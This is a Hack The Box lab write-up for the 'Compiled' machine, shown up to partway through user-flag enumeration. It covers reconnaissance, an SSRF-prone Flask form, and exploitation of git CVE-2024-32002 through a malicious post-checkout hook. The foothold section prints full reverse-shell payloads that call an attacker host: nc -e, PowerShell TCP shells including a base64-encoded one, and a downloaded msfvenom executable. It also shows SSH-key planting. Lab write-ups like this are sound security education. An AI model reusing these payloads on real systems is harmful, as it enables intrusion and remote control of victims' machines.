Compiled

INTRODUCTION

I’d like to say I had a fun time with Compiled, but I really didn’t. It had several good learning moments, but also a lot of really painful and time-consuming steps. It was very much a “CVE box”.

Recon was easy. The initial nmap scans tell us almost everything we need to know. Two HTTP services are found right away, and the default script scan shows the presence of a subdomain. Avoid the pitfall here of investigating one of the services too deeply without checking out the other one, too. The services are highly related to each other; it will make a lot more sense after seeing both. Remember to write down versions of everything when you see them, and don’t skip the vuln research!

Achieving a foothold requires one program - one that I guarantee is already on your box. The exploit itself seems a little absurd, but keep following in the footsteps of the vulnerability researchers before you and you will eventually get the exploit. It will require a little bit of customization for the target, so it’s essential to take the time to really understand the exploit and figure out how you can replicate it on this box.

Getting the user flag was deeply unpleasant, but it taught me quite a bit about some cryptography stuff. Thankfully, I was able to write my own solution for it, culminating in a useful git repo.

Privilege escalation to Administrator was… also deeply unpleasant. The local enumeration for privesc full of guesswork, with scant clues to point you in the right direction. Thankfully, some manual enumeration was enough to make me pay attention to the right things. This is one of those boxes where you only find out that you need Windows to solve it after you are far into the box. I was extremely lucky to have someone available that could assist me with the “Windows-required” steps and help craft an exploit.

Personally, I would not recommend this box.

I originally did this box in August 2024, getting all the way up to identifying the privesc exploit. Unfortunately, my hacking environment was a little too limited to finish it off at that time. Thankfully, somebody helped me compile the exploit, so I was able to finish it off today, after all this time! 📆

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
3000/tcp open  ppp
5000/tcp open  upnp
5985/tcp open  wsman
7680/tcp open  pando-pub

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE    SERVICE   VERSION
3000/tcp open     ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=d3114104b84c841f; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=1J2ETRj2gxnJONJnqMPQJdw2GqU6MTcyNDMxNDE1NDI5NjMxNTYwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 22 Aug 2024 08:09:14 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA">
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=131440bde92fefd6; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=6dtQ8_jPmeBXprtHpJ5H_JKNqs46MTcyNDMxNDE1OTcwOTQ3NzAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Thu, 22 Aug 2024 08:09:19 GMT
|_    Content-Length: 0
5000/tcp open     upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Thu, 22 Aug 2024 08:09:14 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Compiled - Code Compiling Services</title>
|     <!-- Bootstrap CSS -->
|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
|     <!-- Custom CSS -->
|     <style>
|     your custom CSS here */
|     body {
|     font-family: 'Ubuntu Mono', monospace;
|     background-color: #272822;
|     color: #ddd;
|     .jumbotron {
|     background-color: #1e1e1e;
|     color: #fff;
|     padding: 100px 20px;
|     margin-bottom: 0;
|     .services {
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
5985/tcp open     http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp filtered pando-pub
  • Port 3000 is probably just a regular webserver.
  • Port 5000 has the title Compiled - Code Compiling Services - I wonder if it will be like Builder, where we broke out of a Jenkins CI/CD pipeline to achieve RCE 🤔
  • Port 5985 is for remote connection using WinRM
  • Port 7680 is a bit of a mystery. Odd that it’s filtered though.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results.

Webserver Strategy

First I’ll check port 3000:

whatweb --aggression 3 http://$RADDR:3000 && curl -IL http://$RADDR:3000

whatweb port 3000

Oh, nice! It’s Gitea, the self-hosted git repo server. I’ll be sure to check that if I need any source code.

Next I’ll check port 5000:

whatweb port 5000

Looks like a typical webserver. Maybe Werkzeug + Flask?

I didn’t see any redirect, but I’ll add entries to /etc/hosts anyway:

DOMAIN=compiled.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR gitea.$DOMAIN" | sudo tee -a /etc/hosts

Explore the Website

I’ll take a quick look at the HTTP server on port 5000, just to see what we’re dealing with. The only interesting thing I see is this form to submit a URL and have the server compile your code for you:

index page compilation

Using ZAP Spider I crawled the website and found that it is just as simple as it looks:

zap spider

Glance at the repo

We just identified that the service on port 3000 is gitea. Let’s check if any of the repos are publicly visible:

gitea explore

Yep! the repo richard / Compiled is probably the repo of the website that’s running on port 5000. Let’s check inside:

gitea explore compiled

This definitely looks like the server on port 5000. The README.md gives some simple instructions on how to use the site:

Usage

Once the application is up and running, follow these steps to compile your projects:

  1. Open your web browser and navigate to http://localhost:5000.
  2. Enter the URL of your GitHub repository (must be a valid URL starting with http:// and ending with .git).
  3. Click the Submit button.
  4. Wait for the compilation process to complete and view the results.

Let’s take a look at app.py to verify their claims:

from flask import Flask, request, render_template, redirect, url_for
import os

app = Flask(__name__)

# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'

@app.route('/', methods=['GET', 'POST'])
def index():
    error = None
    success = None
    if request.method == 'POST':
        repo_url = request.form['repo_url']
        if # Add a sanitization to check for valid Git repository URLs.
            with open(REPO_FILE_PATH, 'a') as f:
                f.write(repo_url + '\n')
            success = 'Your git repository is being cloned for compilation.'
        else:
            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
    return render_template('index.html', error=error, success=success)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

😂 I’m glad I checked - Take a look at the if clause in the POST handler: there’s no condition! We should be able to use any URL on the form and it will be written into C:\Users\Richard\source\repos\repos.txt.

☝️ There’s a pretty good chance we can have some fun with this flaw. An SSRF is likely, at least 🚩

Host enumeration

Next I’ll perform vhost and subdomain enumeration:

I don’t see any need to check the gitea port for alternate vhosts.

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:5000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

As expected, there were no results. Now I’ll check for subdomains of compiled.htb

ffuf -w $WLIST -u http://$RADDR:5000 -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that. I’ll move on to directory enumeration on http://compiled.htb:5000. I’m just going to check if there are any other directories, in case the site we’re visiting is (for some reason) different than the one in the richard/Compiled git repo:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/FUZZ -t 60 -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

No results. I’m content to assume that the website is the same as the one we saw on gitea.

FOOTHOLD

Let’s try playing around with this Compiled form a little.

Normal behaviour

It was very generous of the box creator to provide the richard/Calculator repo as well. This way, we don’t actually need Visual Studio to try out the website. The repo is at http://gitea.compiled.htb:3000/richard/Calculator.git.

compiling calculator 1

I clicked submit, and got the correct message:

compiling calculator 2

But Step 4 of the instructions seems to be… not happening 😅

  1. Wait for the compilation process to complete and view the results.

Maybe it doesn’t ever finish?

Abnormal behaviour

Let’s try a variety of URLs in this form:

  • http://127.0.0.1:3000/nobody/nothing.git ✅ “Your git repository is being cloned for compilation”

    This means that no checks are being performed on whether or not the destination exists, or is a valid git repo.

  • http://127.0.0.1:3000/foo/bar.baz ❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”

    This means that (1) the website we are looking at is actually different than richard/Compiled shown on gitea and that (2) the form is probably running the URL through a regex to see if the URL conditions are met

  • http://127.0.0.1:3000/foo/bar.git (with a space on the front) ❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”

    Vulnerable versions of urllib could be fooled by adding a space before the protocol. This isn’t vulnerable.

  • http://127.0.0.1:3000/foo/bar.git\nhttp://http://127.0.0.1:3000/foo/bar.baz (with a newline after a valid entry but before invalid entry) ❌ “Invalid Git repository URL. It must start with “http://” and end with “.git”.”

    Poorly implemented usage of certain languages’ regex filters could be tricked with a newline character

I wonder if it’s contacting the provided URL at all. To find out, I’ll start up my own HTTP server and check for incoming connections:

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v

I’ll enter http://10.10.14.5:8000/nobody/nothing.git into the form and see what happens.

After a short while, this request came in:

http request incoming

🤔 That proves that something is actually processing the URLs that get stored into (presumably) the repos.txt file. Some kind of bot or scheduled task must be doing it. It also proves that the target is using git 2.45.0.

To verify, I tried using git clone against my own webserver, and I got an identical request. This suggests that the target is probably just running git clone <url> against every url that is provided to it.

Makefile hooks

🚫 This method didn’t lead anywhere. Proceed to the next section if you’re short on time. In this section, I explore whether it’s possible to put commands inside the makefile of a program and execute them by requesting compilation.

Let’s assume that the target is actually attempting to compile the git repos that are provided to it. That would mean that the target would need to git clone the repo, then parse at least one of these:

  • The project’s makefile
  • .csproj file
  • .vcxproj file

In my experience, makefile is a very versatile thing - you can get it to do basically any command automatically. Perhaps we can use this to gain RCE?

I had a little conversation with ChatGPT to ask about doing this:

On Windows, is it possible to run a command during a build process by adding a line to a .vcxproj, .csproj, or a makefile? I want to run a CMD command upon building.

The short answer is yes, it is possible. Here’s what we can do for a .vcxproj file (we already have a sample of one from the richard/Calculator repo):

<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- Other project configurations -->
  <ItemGroup>
    <!-- ... -->
  </ItemGroup>
  <PropertyGroup>
    <!-- ... -->
  </PropertyGroup>
  <!-- Add this section for the custom command -->
  <Target Name="CustomBuildStep" BeforeTargets="ClCompile">
    <Exec Command="echo Custom command running..." />
  </Target>
</Project>

To try this out, let’s first register a user on gitea so that we can upload our test code as our own repo. I registered jimbob : Password123:

registered jimbob

Now we’ll create a new repo (click the Plus button at the top of the gitea interface):

make a repo

Clone the empty repo:

cd exploit
git clone http://gitea.compiled.htb:3000/jimbob/MyCalculator.git
# Use credentials jimbob : Password123

Now clone richard/Calculator so we can copy its files:

git clone http://gitea.compiled.htb:3000/richard/Calculator.git
cd Calculator

Copy over everything except the git related stuff, basically the non-hidden files:

non hidden files

cp -r Calculator Calculator.sln README.md ../MyCalculator
vim ../MyCalculator/Calculator/Calculator.vcxproj

Edit the .vcxproj file to contain a test command:

custom build step

Since we’re not actually sure that the target has wget, maybe it would have been better to use git clone as our test command, since it does a web request too 🤷‍♂️

Now we can make a commit to our test repo:

cd ../MyCalculator
git add .
git commit -m "Initial commit"
git push

With that complete, we now have a URL for our test repo: http://gitea.compiled.htb:3000/jimbob/MyCalculator.git. Start up a test HTTP server and let’s enter this URL into http://compiled.htb:5000

👇 I’m using my own tool, simple-server, because it’s handy for catching base-64 encoded data. It’s also good for exfiltrating files. Feel free to try it yourself.

# open firewall port if you havent already
sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v

Request to compile MyCalculator

I waited… then waited some more… nothing happened! To be fair, I’m not actually sure that the target is actually compiling anything. All we’ve proven is that a git clone operation is taking place, but we haven’t actually seen evidence of compilation happening.

Vulnerability research

Earlier, we observed the git clone operation happening by asking the target to compile a bogus repo from our attacker-controlled http server, then logging the request headers. This showed that the attacker is indeed running git clone, but also that they are using git 2.45.0.

A quick search on “git 2.45.0 vulnerability exploit poc” shows that there is indeed a vulnerability in this version of git! It’s a code regression, labelled as CVE-2024-32002. A security researcher made a fantastic post about discovering this bug, demonstrating a PoC for it as well.

It works by abusing an oversight in capitalization, and only works on case-insensitive filesystems. Essentially, we define a hook script in one repo, then set that repo as a submodule of another repo. That way, when the main repo is cloned recursively, the hook will execute. If we can put a reverse shell into the hook, we should be able to gain RCE.

CVE-2024-32002

I first tried initializing repos for this exploit by running git init locally then pushing to the gitea server (as with my jimbob user), but it turns out that the server refuses “push to create” of repos:

push to create repo denied

Therefore I’ll need to create the repos using gitea.compiled.htb, clone them, copy in the code, then push the changes.

Let’s first create the repos. I’ll use MyCalculator as the “primary” repo (the one with a submodule) and I’ll use MyHook as the “child” repo (the one with the post-checkout hook we’re trying to execute):

cd exploit
git clone http://gitea.compiled.htb:3000/jimbob/MyHook.git
git clone http://gitea.compiled.htb:3000/jimbob/MyCalculator.git

Let’s make the hook repo first. Following along with the PoC, I’ll make a post-checkout hook in a directory called y:

sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
mkdir -p MyHook/y/hooks
vim MyHook/y/hooks/post-checkout # see below

I’m not quite sure what I’ll use in the hook yet, so I’ve just put some web requests in it that will indicate if anything worked:

#!/bin/bash

wget http://10.10.14.10:8000/prog=wget
curl http://10.10.14.10:8000/prog=curl
git clone http://10.10.14.10:8000/nobody/gitclone.git
nc.exe 10.10.14.10 4444 -e cmd

Thats’s all for MyHook. I’ll push to gitea:

cd MyHook
git add .
git commit -m "Added hook"
git push origin main

pushed myhook

Copy the path to that repo, because now we’ll need to add it as a submodule into MyCalculator:

cd ../MyCalculator
# Copy over richard/Calculator code
cp -r ../Calculator/* ./
git submodule add --name x/y "http://gitea.compiled.htb:3000/jimbob/MyHook.git" A/modules/x
git commit -m "Add submodule"

The next steps are taken directly from the PoC. I found that this repo did a much better job explaining what was happening, so I’ve taken their comments verbatim. In short, we’re adding a symlink to the .git file:

# Create a symlink to the .git directory
# Print the string ".git" to a file named dotgit.txt
printf .git > dotgit.txt

# Generate a hash for the contents of dotgit.txt and store it in dot-git.hash
# The `-w` option writes the object to the object database, and the hash is output
git hash-object -w --stdin < dotgit.txt > dot-git.hash

# Create an index info line for a symbolic link with the mode 120000
# The line is formatted as: "120000 <hash> 0\ta"
# 120000 indicates a symbolic link, <hash> is the content hash, and 'a' is the path in the index
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info

# Update the git index with the information from index.info
# This effectively stages the symbolic link for the next commit
git update-index --index-info < index.info

Commit the changes and push:

git commit -m "Add symlink"
git push origin main

Start up the listeners, in case this actually works:

cd www
simple-server 8000 -v &
rlwrap nc -lvnp 4444

All that’s left to do is to request that http://compiled.htb:5000 compiles our code:

request to compile poc

Moments later, my http server received evidence that we executed the post-checkout hook!

poc success

The curl command and git clone commands both ran. I didn’t see any evidence of wget or nc running.

I’ll adjust the payload and see if there’s anything that will get me a shell.

Note: To update the payload in post-checkout, the updates need to be committed.

cd MyHook
# Make the edits
vim y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "updated post-checkout hook"
git push origin main
cd ../MyCalculator
git submodule update --remote A/modules/x
git add A/modules/x
git commit -m "updated submodule"
git push origin main

Currently, I don’t know much about the target system - pretty much just that it’s Windows, probably running gitbash (this explains why the #!/bin/bash shebang was not a problem). We clearly have code execution, and the post-checkout hook is being executed line by line… so let’s just shove a ton of payloads into one script and see what works!

First, I’ll generate a couple “staged” payloads:

👇 Aside from the exe reverse shell, these are all from https://www.revshells.com/

cd ../www  # go back to the http server directory
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe > revshell.exe
vim revshell1.ps1  # Paste in "Powershell #1" reverse shell

Now I’ll modify the post-checkout hook to delier some more:

#!/bin/bash

# To know if the payloads were actually delivered:
curl "http://10.10.14.10:8000/?msg=spray-and-pray-start"

# nc variants
nc.exe 10.10.14.10 4444 -e cmd
ncat.exe 10.10.14.10 4444 -e cmd
nc.exe -e cmd 10.10.14.10 4444
ncat.exe -e cmd 10.10.14.10 4444
curl "http://10.10.14.10:8000/?msg=nc-variants-failed"

# MSFVenom exe 
curl -sLo C:\Users\Shared\revshell.exe http://10.10.14.10:8000/revshell.exe
C:\Users\Shared\revshell.exe
curl "http://10.10.14.10:8000/?msg=exe-failed"

# Powershell #1
curl -sLo C:\Windows\Temp\revshell1.ps1 http://10.10.14.10:8000/revshell1.ps1
powershell.exe -NoProfile -ExecutionPolicy Bypass -File 'C:\Windows\Temp\revshell1.ps1'
curl "http://10.10.14.10:8000/?msg=powershell-1-failed"

# Powershell #2
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.10',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
curl "http://10.10.14.10:8000/?msg=powershell-2-failed"

# Powershell #3
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.10', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
curl "http://10.10.14.10:8000/?msg=powershell-3-failed"

# Powershell #3 Base-64 encoded
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
curl "http://10.10.14.10:8000/?msg=powershell-3b64-failed"

curl "http://10.10.14.10:8000/?msg=spray-and-pray-end"

I’ve sprinkled in a few cURL commands to indicate progress through the reverse shell. That way, if one is successful, I’ll know which worked 😉

🎉 And we caught a shell!

reverse shell

Let’s take a look at the HTTP server to see which of the reverse shells was successful:

which revshell worked

The last message before it starts again was powershell-3-failed, so the successful reverse shell was Powershell #3 Base-64. Perfect, let’s thin-down the post-checkout hook to just that one reverse shell (in case our connection breaks and we need to re-exploit):

#!/bin/bash

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

USER FLAG

Local enumeration - Richard

The folder where our reverse shell is formed seems empty. There are two other cloned repos present. Traversing all the way to C:\Users\Richard we see that there is conspicuously a .ssh folder:

richard home

I checked the bash_history and .gitconfig as well, but there was nothing important.

Planting SSH key

The .ssh directory has an authorirized_keys file, so let’s generate a keypair and plant one:

The authorized_keys file is actually empty, so we could probably just overwrite it with the pubkey using a cURL request, but I want to try using the base64 way instead:

ssh-keygen -t rsa -b 4096 -f richard_id_rsa -N 'st4rling'
chmod 600 richard_id_rsa
base64 -w 0 richard_id_rsa.pub  # copy to clipboard

Now, in the richard shell, plant the key:

$base64 = "c3NoLXJzYSBBQU...9PSBrYWxpQGthbGkK"  # Paste from clipboard
$bytes = [Convert]::FromBase64String($base64)
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes)
Write-Output $decoded | Tee-Object C:\Users\Richard\.ssh\authorized_keys -Append

Unfortunately, attempts to log in over SSH were unsuccessul (Unsurprising, as we never actually saw SSH listening):

SSH as richard failed

Filesystem enumeration

There doesn’t seem to be a flag in C:\Users\Richard\Desktop, where it would usually be. Let’s see if it’s anywhere we can access as Richard:

Get-ChildItem -Path C:\ -Filter "user.txt" -Recurse -Force -ErrorAction SilentlyContinue

Nope, nothing. Although there’s no flag, we can see under their Documents folder the clone.sh script (clearly the script that gitbash is running to clone our repos):

#!/bin/bash

# Define the file containing repository URLs
repos_file="C:/Users/Richard/source/repos/repos.txt"

# Specify the path where you want to clone the repositories
clone_path="C:/Users/Richard/source/cloned_repos"

# Check if the file exists
if [ ! -f "$repos_file" ]; then
    echo "Error: Repositories file $repos_file not found."
    exit 1
fi

# Create the clone path if it doesn't exist
mkdir -p "$clone_path"

# Loop through each repository URL in the file and clone it
while IFS= read -r repo_url; do
    if [[ ! -z "${repo_url}" ]]; then
        repo_name=$(head /dev/urandom | tr -dc a-z0-9 | head -c 5)
        echo "Cloning repository: $repo_url"
        git clone --recursive "$repo_url" "$clone_path/$repo_name"
        echo "Repository cloned."
    fi
done < "$repos_file"

echo -n > "$repos_file"
echo "All repositories cloned successfully to $clone_path."

# Cleanup Section
 
# Define the folder path
folderPath="C:/Users/Richard/source/cloned_repos"

# Check if the folder exists
if [ -d "$folderPath" ]; then
  echo "Deleting contents of $folderPath..."

  # Delete all files in the folder
  find "$folderPath" -mindepth 1 -type f -delete

  # Delete all directories and subdirectories in the folder
  find "$folderPath" -mindepth 1 -type d -exec rm -rf {} +

  echo "Contents of $folderPath have been deleted."
else
  echo "Folder $folderPath not found."
fi

This script has nothing about compiling code in it. Unless another script is reading through the C:/Users/Richard/source/cloned_repos folder and compiling, I’m not confident that ```http://compiled.htb:5000` actually does what it claims to do 👀

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

The target is running Windows 10 Pro 10.0.19045 N/A Build 19045

We can see from net users that Administrator, Richard, and Emily are the main users on the target. It looks like Emily is the user with remote access (WinRM):

net user emily

We can see from netstat -ano that there are a bunch of listening ports that we didn’t detect during the initial scan (I wonder why?):

netstat

tasklist shows that ssh-agent is running at PID 2664, but it’s not one of the listening ports. We also see the two web services running:

python.exe   3844     0      5,680 K
gitea.exe    6804     0    158,644 K

Wow, gitea uses a lot more memory than I thought it would!

Website configuration

The C:\app folder holds the http://compiled.htb:5000 web app running on port 5000. As we observed earlier, the code is very slightly different from what’s shown in the gitea repo (the URL filter clause):

from flask import Flask, request, render_template, redirect, url_for
import os

app = Flask(__name__)

# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'

@app.route('/', methods=['GET', 'POST'])
def index():
    error = None
    success = None
    if request.method == 'POST':
        repo_url = request.form['repo_url']
        if repo_url.startswith('http://') and repo_url.endswith('.git'):
            with open(REPO_FILE_PATH, 'a') as f:
                f.write(repo_url + '\n')
            success = 'Your git repository is being cloned for compilation.'
        else:
            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
    return render_template('index.html', error=error, success=success)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

